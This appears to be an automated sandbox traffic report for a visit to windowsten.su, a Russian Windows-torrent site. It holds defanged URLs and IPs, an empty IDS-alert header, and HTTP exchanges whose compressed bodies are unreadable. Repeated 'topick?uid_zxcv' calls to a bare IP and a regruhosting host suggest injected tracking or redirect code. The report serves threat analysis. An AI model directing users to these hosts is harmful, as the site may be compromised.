hxxp://windowsten.su/style/js/custom.js	37.140.192.32
hxxp://windowsten.su/uploads/posts/2015-09/thumbs/1442251471_1442249429_6844934.jpg	37.140.192.32
hxxp://windowsten.su/uploads/posts/2015-09/thumbs/1441381750_1441302355_0_11e929_4957bdf0_orig.jpeg	37.140.192.32
hxxp://counter.yadro.ru/hit?t22.7;r;s127684632;uhttp://windowsten.su/;0.5596613285630375	88.212.196.104
hxxp://bs.yandex.ru/informer/27094649/3_1_20B8CDFF_0098ADFF_0_pageviews	93.158.134.90
hxxp://windowsten.su/uploads/posts/2015-08/thumbs/1440853024_1440769987_blue-wallpaper_windows_10_hd_2880x1800.jpg	37.140.192.32
hxxp://windowsten.su/uploads/posts/2015-08/thumbs/1440090822_1439933104_microsoft-reveals-the-official-windows-10-wallpaper-485311-4.jpg	37.140.192.32
hxxp://windowsten.su/templates/torrent-windows/images/bar-bg.png	37.140.192.32
hxxp://windowsten.su/uploads/posts/2015-09/thumbs/1441533569_1441388150_goj269d.png	37.140.192.32
hxxp://windowsten.su/templates/torrent-windows/images/bar-blue.png	37.140.192.32
hxxp://j.contema.ru/img/ilogo3.png	89.249.21.7
hxxp://windowsten.su/uploads/posts/2015-08/thumbs/1440090926_1439919959_windows-10-update-10525.jpg	37.140.192.32
hxxp://windowsten.su/templates/torrent-windows/images/link_bg.png	37.140.192.32
hxxp://windowsten.su/uploads/posts/2015-08/thumbs/1440768500_1440712240_edge-logo-full-02_story.jpg	37.140.192.32
hxxp://windowsten.su/wp-content/themes/mesocolumn/lib/scripts/tabber/tabber.js?ver=10.5.6	37.140.192.32
hxxp://windowsten.su/uploads/posts/2015-08/thumbs/1440768374_1440707035_1_win10fulldesktop1-780x445.png	37.140.192.32
hxxp://windowsten.su/uploads/posts/2015-08/thumbs/1440853310_1440774442_01-xao3kkc.jpg	37.140.192.32
hxxp://windowsten.su/uploads/posts/2015-09/thumbs/1442334318_1442251094_357557_original.jpg	37.140.192.32
hxxp://148.251.81.141/topick?uid_zxcv=258cc02055fa2da7a95b1963030c8402
hxxp://windowsten.su/uploads/posts/2015-09/thumbs/1442334267_1442245312_vp9-microsoft-edge.png	37.140.192.32
hxxp://windowsten.su/uploads/posts/2015-09/thumbs/1442238138_1442229256_co2gmaqwsaaiwoq.png	37.140.192.32
hxxp://windowsten.su/uploads/posts/2015-09/thumbs/1442238241_1442230719_co1pj_dueael5ln.png	37.140.192.32
hxxp://windowsten.su/templates/torrent-windows/images/user.png	37.140.192.32
hxxp://windowsten.su/templates/torrent-windows/images/comm.png	37.140.192.32
hxxp://windowsten.su/templates/torrent-windows/images/view.png	37.140.192.32
hxxp://windowsten.su/templates/torrent-windows/images/sep_13.png	37.140.192.32
hxxp://windowsten.su/templates/torrent-windows/images/sep.png	37.140.192.32
hxxp://windowsten.su/templates/torrent-windows/images/arrow_3.png	37.140.192.32
hxxp://windowsten.su/templates/torrent-windows/images/arrow_2.png	37.140.192.32
hxxp://windowsten.su/templates/torrent-windows/images/short_img.png	37.140.192.32
hxxp://148.251.81.141/topick?uid_zxcv=258cc02055fa2da69df618df030d1302
hxxp://mc.yandex.ru/metrika/watch.js	87.250.250.119
hxxp://windowsten.su/templates/torrent-windows/images/arrow_6.png	37.140.192.32
hxxp://sync.security.pp.regruhosting.ru/topick?uid_zxcv=258cc02055fa2da7a95b1963030c8402
hxxp://mkra.ru/wp-content/uploads/2015/09/ada9a46040f3022a8488c48b974afda0.jpg	37.140.192.32
hxxp://mkra.ru/wp-content/themes/mesocolumn/lib/scripts/custom.js?ver=10.5.6	37.140.192.32
hxxp://gamest0rage.ru/style/images/steam.png	37.140.192.32
hxxp://sinst.fwdcdn.com/img/informers/flc-t1.png	212.42.76.150
hxxp://sinst.fwdcdn.com/img/informers/term-t2.png	212.42.76.150
hxxp://gamest0rage.ru/style/images/other.png	37.140.192.32
hxxp://gamest0rage.ru/style/css/bootstrap.min.css	37.140.192.32
hxxp://gamest0rage.ru/style/css/rgba-fallback.css	37.140.192.32
hxxp://gamest0rage.ru/style/js/custom.js	37.140.192.32
hxxp://gamest0rage.ru/style/fonts/glyphicons-halflings-regulard41d.eot?	37.140.192.32
hxxp://gamest0rage.ru/style/images/warface.png	37.140.192.32
hxxp://windowsten.su/engine/data/emoticons/recourse.gif	37.140.192.32
hxxp://s008.radikal.ru/i304/1508/ac/e4d1dcc22d86.png	81.176.238.129
hxxp://gamest0rage.ru/style/js/html5shiv.js	37.140.192.32
hxxp://gamest0rage.ru/style/js/easypiechart-data.js	37.140.192.32
hxxp://fonts.gstatic.com/s/opensans/v13/cJZKeOuBrn4kERxqtaUH3fY6323mHUZFJMgTvxaG2iE.eot	173.194.113.223
hxxp://css.contema.ru/img/ilogo3.png	89.249.21.7
hxxp://mkra.ru/wp-content/themes/mesocolumn/lib/scripts/superfish-menu/css/superfish.css?ver=10.5.6	37.140.192.32
hxxp://sinst.fwdcdn.com/img/informers/logo-t2.png	212.42.76.150
hxxp://mkra.ru/wp-content/themes/mesocolumn/lib/scripts/tabber/tabber.css?ver=10.5.6	37.140.192.32
hxxp://mkra.ru/wp-includes/js/jquery/jquery.js?ver=1.11.1	37.140.192.32
hxxp://mkra.ru/wp-content/themes/mesocolumn/lib/scripts/fontawesome/css/font-awesome-ie7.css?ver=10.5.6	37.140.192.32
hxxp://html5shiv.googlecode.com/svn/trunk/html5.js?ver=10.5.6	74.125.133.82
hxxp://mkra.ru/wp-content/uploads/2015/09/1e214f20f9cca2943fdcb3954f1e14a8.jpg	37.140.192.32
hxxp://gamest0rage.ru/style/bg/blurred-background-1.jpg	37.140.192.32
hxxp://mkra.ru/wp-content/uploads/2015/09/4192eab47979fb89f376c7641263ceb6.jpg	37.140.192.32
hxxp://mkra.ru/wp-content/plugins/generalstats/vendor/jshashtable/hashtable.js?ver=3.0	37.140.192.32
hxxp://gamest0rage.ru/style/images/webmoney.png	37.140.192.32
hxxp://mkra.ru/wp-content/plugins/generalstats/js/refresh.js?ver=3.20	37.140.192.32
hxxp://css.contema.ru/agcb.css	89.249.21.7
hxxp://gamest0rage.ru/style/js/respond.min.js	37.140.192.32
hxxp://sinoptik.com.ru/informers_js.php?title=4&wind=2&cities=100524901&lang=ru	212.42.76.150
hxxp://mkra.ru/wp-content/themes/mesocolumn/lib/scripts/tabber/tabber.js?ver=10.5.6	37.140.192.32
hxxp://windowsten.su/templates/torrent-windows/images/all_votes_bg.png	37.140.192.32
hxxp://mkra.ru/wp-content/uploads/2015/08/dakota-fanning-dakota-fanning-6727.jpg	37.140.192.32
hxxp://gamest0rage.ru/style/css/styles.css	37.140.192.32
hxxp://s009.radikal.ru/i309/1508/6a/58a5f3409156.png	81.176.238.129
hxxp://mkra.ru/wp-content/themes/mesocolumn/style.css	37.140.192.32
hxxp://ajax.googleapis.com/ajax/libs/webfont/1/webfont.js	216.58.209.202
hxxp://mkra.ru/wp-includes/js/hoverIntent.min.js?ver=r7	37.140.192.32
hxxp://sinst.fwdcdn.com/img/informers/s-informers-t2.png	212.42.76.150
hxxp://sinst.fwdcdn.com/img/informers/hlc-t2.png	212.42.76.150
hxxp://mkra.ru/wp-content/themes/mesocolumn/lib/scripts/fontawesome/font/fontawesome-webfont.eot?	37.140.192.32
hxxp://gamest0rage.ru/style/js/easypiechart.js	37.140.192.32
hxxp://mkra.ru/	37.140.192.32
hxxp://fonts.googleapis.com/css?family=Open Sans:400,400italic,600,600italic,700,700italic,300,300italic&ver=4.1.8	74.125.71.95
hxxp://img.contema.ru/getimage.ashx?imgfolder=72733171-0542-43d6-871b-3d3f96c5af37&id=31&extension=1&adv=banner	89.249.21.7
hxxp://mkra.ru/wp-content/uploads/2015/09/4bd07d7f0ead211d9bf4f4e05b0ce5a4.jpg	37.140.192.32
hxxp://sync.security.pp.regruhosting.ru/topick?uid_zxcv=258cc02055fa2da69df618df030d1302
hxxp://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js	173.194.113.217
hxxp://sinst.fwdcdn.com/img/informers/frc-t1.png	212.42.76.150
hxxp://mkra.ru/wp-content/themes/mesocolumn/lib/scripts/modernizr/modernizr.js?ver=10.5.6	37.140.192.32
hxxp://gamest0rage.ru/style/js/bootstrap-datepicker.js	37.140.192.32
hxxp://gamest0rage.ru/style/images/crossfire.png	37.140.192.32
hxxp://mkra.ru/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1	37.140.192.32
hxxp://windowsten.su/uploads/posts/2015-09/thumbs/1442334487_1442257655_ceaokoxueaidjte.jpg-large.jpg	37.140.192.32
hxxp://mkra.ru/wp-content/themes/mesocolumn/lib/scripts/fontawesome/css/font-awesome.css?ver=10.5.6	37.140.192.32
hxxp://mkra.ru/wp-content/uploads/2015/09/a20aa272156d62a57edefdd48da62f48.jpg	37.140.192.32
hxxp://gamest0rage.ru/index.html	37.140.192.32
tpc.googlesyndication.com	216.58.209.161
encrypted-tbn1.gstatic.com	173.194.113.192
www.gstatic.com	173.194.113.207
www.megapol.ru	89.249.18.99
www.youtube.com	173.194.113.194
static.doubleclick.net	173.194.113.220
acg.contema.ru	89.249.21.7
www.google.com	173.194.113.210
img2.goodfon.ru

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET / HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:06 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.3.28

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Set-Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; path=/; domain=.windowsten.su; HttpOnly

Set-Cookie: dle_user_id=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.windowsten.su; httponly

Set-Cookie: dle_password=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.windowsten.su; httponly

Set-Cookie: dle_hash=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.windowsten.su; httponly

X-Powered-By: PleskLin

Set-Cookie: uid_zxcv=258cc02055fa2da69df618df030d1302; expires=Thu, 31-Dec-37 23:55:55 GMT; path=/

Content-Encoding: gzip

2a5d.............}{s.F...V....$..6.I.M..Jlg....&....M.@.I.....)......{....(..cG....L....d....Ij2IJ.hO7@.$!.E=.....F?N.>....&............9ijh......'.u...y..Q....5E.....Ky....4..xV....(..U...3.,(3...C...P.......J.r.E..F..4..{?..Z..@.[..&.V~.....IF.ZJ.......{j.....2_.k..*f....J.Q..;...rT>.K3.*h...... fm.@3..M.{....d.t}../....a.j.jc..................k...Mc........I..o........sF..s6...j..f...Z...x....).l.\..e4....Z/..gw.&g;...`.~..Z.9.....a.....l...M....&8.f..j@.P.....:...6.....Dd...8...q&.. ..Q..9S....Vw.3..g..X.]..h.@..z}..v...5jAk..H.q* .)^By..E<....X.[.....QR.I n.....r.\.l...{..K....U..<..._...v.....%<...ci2X.*...05.y..%.1.!gD...bv.^. aV.3.G-.Z.I.<.T,M2...T.A:X.I...%.-1.^%.e...d.=....Uqz..k.iYc.V.b....'..C..........J^..*.:v#T.4..#7...P..VJ...o7M.....[.....$..xJ.5.k.;......<w4fj.ke>a].q0..@$.h.. f..$...........g=.E.H....'..h.W...w.'. .^.....cA....j.UH./.yyP........zR.......{.7...>[...$.e1.{t0..z..#1....q./..k^.....z.....4_$.<........DY.k...d-Y.;tK......I...8...^".jW.C.^.z....H*B...$.N....A,"Q.....,c...Q..dfT0pXu...aW`.X$... 3-.V...S.LN2..:.2.....g..'.h..W...(..M.dEA .kcg.AE^*.....XH $-...".?v].M......z. ._-.U.e@9...u./..xp... ENJ.u...#z.L.Ufrxx.9....1<NjI ...[M.r.-.j.R...g%..=;.D}.q....R7....~[UR;p....B..)....vmw.K$.K.. qt..z..Kr.iI.a.r...in.'.-QM..............h..a..z../M......$...wC]....f..:)X..`..<....Z9v.:.......f.,m...O.W .h. [..fe..f.`.\...F3D.O.....gx.....f>..........=.v{.Z...k.;.j...S.,....kS.!.=9......G....)).......nE $.F..z7=..v....t...d......*@..Q.G.Gl.G.i..r...1.

<<< skipped >>>

GET /engine/classes/js/jquery.js HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:07 GMT

Content-Type: text/javascript

Last-Modified: Sun, 09 Aug 2015 14:38:56 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

ETag: W/"55c76600-176bb"

X-Powered-By: PleskLin

Content-Encoding: gzip

81ee..............iw...........w.E...{.P..-...O.....{...IL.@Q4.....]CW...s.......=T..kO.............7..p..vv8.....`......../.w.,....8.j.....-.......H...?{z.....*E9?.I.....<.{R..6.zz.\gw...=........]T..q?[.w.|.....3..........H..o..g......v..==.m~{Wl..Y|v_.2*s_..tg....6..mWg.Jp.......i..3.c.....O...;Q...x{...Dd2..0C"..t.J......n7.3..:...O.\>.E!.....~[.f..n.........&......-.....KYmW..._.. ......X.._.W.../>.......&.C....L....rw~!6...._e.....bV............x...q........kL.|T....M.n..K..m...|.....E.....@...n..C...............}...........e...8.........$.V..x....J.X..F............K....o.g..............(.8...S.....$..-.M.(.J.i...o.*.&"..c5Xz.J...a.e.k.g.x.Y<..mg.Ov.`Zlw.S......,.w.9.R...e.......=.....;..~..r..&.i4..N'.p<A....(........i...bGh(..L?b....;..%"<..v$.8}...!.b..g".S..v"....@;z.....c3.k....@a.z...U.0g...-g.....^/...;;...b....,8......Z....f.p........P..V.....R.._.Y.:..X....V*...#e..u..A.?,.b...(.5.]U.x... ....O.%..w...8.b.dh..u.[.2..f..k.d.4|............f....DhbB..&.^._.........~....f....q.........=....3.9.M...D(..^.7.0.......=......u.j.....L...RA.7...RT.4..vcI4WQ7|..-..H[>.. E..o....b...8.!mKT..r..Pk...... ).t.C.J...Y.........;.h....Zg.k.U...N......p........B.....^..q?(.........W.t$.O..bezB......o.Q..i8.}H.w... ...M....Q..S.K ..=.........y.....<..........$^|.&^...MK._..Y..m..v[..J..f.@ ..7..3...(.x./.S..%..r-<bW.r.n.-o.,..jh'.......^.#....02.......".8$...@^.w.$6=.3e.u.<b.G..|. ..Q.......g@..$..$.<.9..b..M....~q.-5..0...c... ....X.wA..... Wj.<...&..|..M.=...........a.R...wv...^

<<< skipped >>>

GET /engine/classes/js/jqueryui.js HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:07 GMT

Content-Type: text/javascript

Last-Modified: Sun, 09 Aug 2015 14:38:56 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

ETag: W/"55c76600-16ac9"

X-Powered-By: PleskLin

Content-Encoding: gzip

651c..............iw...(...........H.O.`.K..c..A..O.K!ZM.Av.v#=.R......}5.....#.k.%..<..i..:=9>............G7...G.......p2.>~..'GWU..OO..O,X..E~......^&ex..#.)..?J.}.o>...UEM.N...l.Wi.....(....h.gU.^.U^.....E......Wo.NN.._...k......:J.Jd..&.....\.Q5..e.C|......6)..e..."..".."..(..._@..|g..PE.Q1...8.FWE........i.8...x...'..G......u.@b.;o..........8..... .B.4.6u. .u..vU.....`.U.....@...J......d....:Y.....\.f..[.{.......%.......u....&-Sh..<zt....K?..6.I. ....r[.-Jh.*-.GM......0$.*]......u.]VW{..,..":.{......r...i....?..v?MW>........{....$[R.....#.../....!...g..........$..........$^........../~........./.'_.../..'O..7...~.>.O.......|%.{........~........x.N..........]8..u...~..%.LT.l}.'......}....A.W*..._........g.....|Oc|.G...u...x...W?...<.?...oa`..<.'...g_...X.O.} ..*S..}...u.R.............&.WG..^V__$.7...%....}:Y.fM..z.^'y]......;?...G.h.........Bj..6.7..G.........\.(...5Ac....j..HI.G.N...........$.<............`.;./.|]W..b...h....p..~w...*..,.0..b.......x.].s...:...AW..c_..h.._.O...~........:.....c.Y./.T.2`&{..W.2.`.....F.....$.&...P.....U...%.J..V......a!.=zT@.....E...,..".S...v...B}...`[F..e.*....f &cj.8-....KD...XM....?.....2y..u...}...h...Sb...|. .. {... ...."......-....K../q0...UU.t.... |.Q;..s/..b..@.Jj..bX%...^...4..!t6tp..q2.V....`!....U.....9...)$.aG?.l..JF1N..^._.........U..aW. ..^...........#...uk..JC.."_~..p2.]ai..P/......\'..{....:.F.j......3.1...>....N3...;.o.X].O......e.].cq.....K....1mrYo6yQ.t......h.*........<.>.4;.M..$'.. .5....@..,.h........H.!..`...n.0.

<<< skipped >>>

GET /engine/classes/js/dle_js.js HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:07 GMT

Content-Type: text/javascript

Last-Modified: Sun, 09 Aug 2015 14:38:56 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

ETag: W/"55c76600-60eb"

X-Powered-By: PleskLin

Content-Encoding: gzip

17f8.............<kw..... d.W" ...8mD.>i...n.d.....G.$A.1E.$e.u..w..I.".p....6...7f....i.s..u....4....8...q.<(...u..A......h.p..k.f{..^.(7.,..2.........G..t5'CG7<.5...........&..|mrl...p..;. )..a..c....L...4.....?sM&....E.|i...X...*/.K..G. &..0........v......_....^..^...;z.....Pv.....q...t.%....)..idm.....0c=...u....&....4..7...j.0.r.[o....1l0Zh.~.m&q.k8k.....|....w.....L..1."v...o....xJ..e7,.2....gWA4.q...(.A...O..j.j. h9..G........^.s.t<...w_k.2.ts........._E.Z..?...........V.A.B...3 .c.% ....`.4...d..i...7.g........R..|....8;...o3..g...H*.:..m.....<M.....2.sMG.>...t..!....3YgK...#..,6[....X..1S...e...]..Y....x6...!..H/.oC8.^.A..i.G."g..ly6....dH%(..<.g...W...!..6..e..w......[..M....c...Y....2.=m.[...,..y.=....p.n.,.o.$a.'....p.s&...X).@..f.....br...0f.v.<E2.?...5...1..Q/;.2..P.9......r.z.......V.......".,.r.]..H.h..W.4.....&..%z........sX....vu1..M...r............l..-.......).m...$.......Q.....f....y...!E..i......itE..CgHf'...h.u......A.U....*.l@A..Y..%].........c.*H......~.c.....3z....9...................f.........|N.%{4..n.G... ....K.0.X..-L.!we /5<w872Q~.2..4..b.[......@.9fDW."..~.B......Qy..8...guJXXx|3w.9...J.Y...m..$.S..[T`g...!..&Y;...-.Q.F>p.f#,.h..9.1l.MF......}.GU..[ms....)N........&H..0QXlH.Cw.x#...".?....,E".A.....&7...:...#.....$...n.g...tw....._......%.U).G..'.&..h.(..0.98.4.A...q.......z.P.....<.......P......{....mW..T.D..\...W 1.........;PB..qZ)#..PQ:.M...@X.P$\...B...p..../.....'...a."G.......z.B....|!=?x.<.....7.z!.s.q.x.r......zK.,.y....."...7.}...g..

<<< skipped >>>

GET /engine/classes/highslide/highslide.js HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:07 GMT

Content-Type: text/javascript

Last-Modified: Sun, 09 Aug 2015 14:38:54 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

ETag: W/"55c765fe-b7b0"

X-Powered-By: PleskLin

Content-Encoding: gzip

38e7.............}kw....w...7U..|)v.....'.}.]gb....t.E..E..d...i..|..c......r.....y?........n......:......bY..,......k. ..:.>........h<..G...=...Y...T..y|......_m..X/..%4....|]....z.T.....w{.I...v{.MYT..V.U.x..P.s..n7..{...Znv.......b.}......_P.s?.l.`.....,.$...zXr..z[.....J.......S...e....w.e.....".O...b..8..YU;..3...U...?....(.U.8....n....:.W.?..7e=3......n.....j...6^g.$.`.8.n.U.,..w......................KsK/..K].[...[........:.....aG?......r.5|s....._o>....~A7.M).^.O."....n^.0.].S.9?.......O.%...&t5...6N.$.AS..F..#..).".>Q..&*......vPv.. OL.K..e.....i.8....F..8.C#7.I...7........y.w....f.7......>|`*BB...`..A./P..r....|...X.....9..].].).s..S0..C..i..nv%.8._..u...7;5>3ksSq....f....x1.....x.(.oa1...............6U......Yg..........Fcy......>...~....... .b.......]...|...X..[....5,g.u...#2>T..z?..y.|.p.}.. .. .j......Q...Iht...^...}..W|.p......sX.............H....j.....U._..m..p.K.S......Qx.L............Yq}m..LP...,.b]'..6..l.X...F.s..9..O..`...uN[.....x1...9.7~.f}...S..0j...q..S..6.~.......W..P1 ..fU._^f.g8.qYF...2.yyy.zy.*.E..."qw...9..t <x.s.,.....J8BY.....l8g..!e^.c...8.-.....h..;.........R...3.H......;S....$%O.....])$..JR..u........k....M...;.....$..t.}*...n..b.....G..3.^...,.n...Nz.tv.(...u.1t.#t.*..~......s...bko2..G)....x...=.......T.....M..oYA.P....R."....eB.J...........D].[ ..|..w.1oW...Bo...N$.w"....@ .{U<..v..m7.K......<..|......u..vUT..u<.!.<.V.I..h.......@^...yM....{.....U./....=...8.....^.Y..O.q..X.[gv.&.. .?...c..o.R........(..e.)..j#~m.?A.{,w.K)d...r].2|..`4.T

<<< skipped >>>

GET /engine/editor/scripts/webfont.js HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: text/javascript

Last-Modified: Sun, 09 Aug 2015 14:39:08 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

ETag: W/"55c7660c-bcb"

X-Powered-By: PleskLin

Content-Encoding: gzip

424.............V.O.8.....X'HDI.^.........eW.....L.w.;..........I.......o...3i.cM.GsA...u....RPV....!.vH.d.0...........l{.T.........<8;..N...`a.E.x.^3!2.....QP....s.'.F4.....1....:t..1.q.@.........Z.....h..VD"".c.,Y..z..(I.....8W.1....,Q.\...b..2....M.....&.)...8.E.Uh..qxA..rK".....-^...dB.7 ..di\Cc...r.q....s.3....p.Z...s..P.Z%)H.}......u.3"I!x..k.H..~...n"F.%H...lL.c.l....?O.t.?.....WN.<#O6.MD\.&qQ{.f..). ....0...3hu..o.[..n.G%.g...Q....p.U_N........O...6......p."...6..>.T{.T..*S..a..pshd"...|J.G.....V........}.$.......g#..-w.G..QpCi1.z[.]..#-i.8.....1d.....Z5...L.?IIjo1.b.^@^..A8.. D....}...}j|4.}....:h;..C.:hq.x{[t.....)._5e...x.)......b9...}.P-.......o.`EX.ire|...y.v...n...H.ANV4#..).{R..h.?.....X.%RmB>.M^..&.. .D.7.q....k.`....~e._.....M .<.....tw;..........#..x.j... .[....]6.]v........GG.:g._o...A.w.....{.....v.-..H.btz.v.~..b4.e..?l..bQ..........0.....f....q9.j......>,.[.....E...x......5[.>...{{.....1.o..>.L.~.l...k]N..>*.. )..L...R..R3...>7.......lg/....'{..|-c3O44.Z........nU.\Bj.bb..J`....s.s..../..8.,.7-..><.I.<......;.......4......m......0......

GET /engine/editor/css/default.css HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: text/css

Last-Modified: Sun, 09 Aug 2015 14:39:07 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

ETag: W/"55c7660b-24f6"

X-Powered-By: PleskLin

Content-Encoding: gzip

655.............Y[o.8.~n~...j.Q @B.P.......]i..j.o.Lb.`d.....}m..!\r.[...s.w>..O...9A. ...3.l.........V.o./".p#.?..\.V#.c......g...O3.pt.D.J(.......U-..9bF...'3.t\..60..>..c[k..'..#<.s..._.4mg...o..m.. ....B..9$8...^P~$.v u..wI.&....'0x...=.(.P.UN...b..D.K.'7M;.lh..U..o.....Ke..$.p.L5.~..9.p.\..g...{.I.0.?P..J.".......p/.!!F.....;..&.=......2.1M.E."&...>.Dc.vl...-..Z.....a.|GC..24cTX.._%.g5..iY......YyG..#..B.....Al.h{i.me|.0.......P..o...3x.>A@l3.B..'. ...p..S&<m....C..77.........N.AF..oj.....`...%.w......0.q..Z.JWm..c.5.....y..b....-...A.......K...wm.z..... .....[. ..*.8.T)xg..M..SK"g....h.-=.#..%].....x/.......^,..<.;..X.3.....][Bv.w-....}.\.....jSo5....lz.... ..j....>.\ .8.3..#.?.i.2C..!F.?.S.............b..G....n... .}.V. ..A.h|^X......J.......a..).3.z_...a...."qF......F.\.e.2~'.1...O...!@I.- 3..;F......3v...]|. ...E...E-..J!....U......Wf....~..T.....d.*]..P..T.Nq.....*UY(*...{.6.<B.*...Qf.].=.v..f...RW..[.jj.W.?.q,.....C..M....&......k.lD...-..O3......A..D.P..q....~.0.3xn..|.U.......sv... .1... ..i...s.f{x.ot...{.u....cf..Y.kf......].[.;../R.R_.(.1.....$.K.....~.`.....~............h.\........GP.!h.\^.2.j@.j.....F.ecC..l......,......p.....'..4...q..`......>!F...&...P. 7../8N).0.7`...,....I.<|B.....{@.,`..^.m.*. O.f..;. ...e.'''.;. _...............*.z..-4.*.O....-....F6.!]z@5.....?.....^...x..q.j....!.....nX....nK.....s.!"...5......K)...].h.(.Ui.e....U..e...E.z[..@RY..w........;<.. ....!./..]Cz......#.~.&R]..T..7..1. ....NwR...Y\.L..N..N...B(..U.Kc-...~hMk...Zp.!.&Sh95..,

<<< skipped >>>

GET /templates/torrent-windows/style/engine.css HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: text/css

Last-Modified: Sun, 09 Aug 2015 15:07:12 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

ETag: W/"55c76ca0-7a10"

X-Powered-By: PleskLin

Content-Encoding: gzip

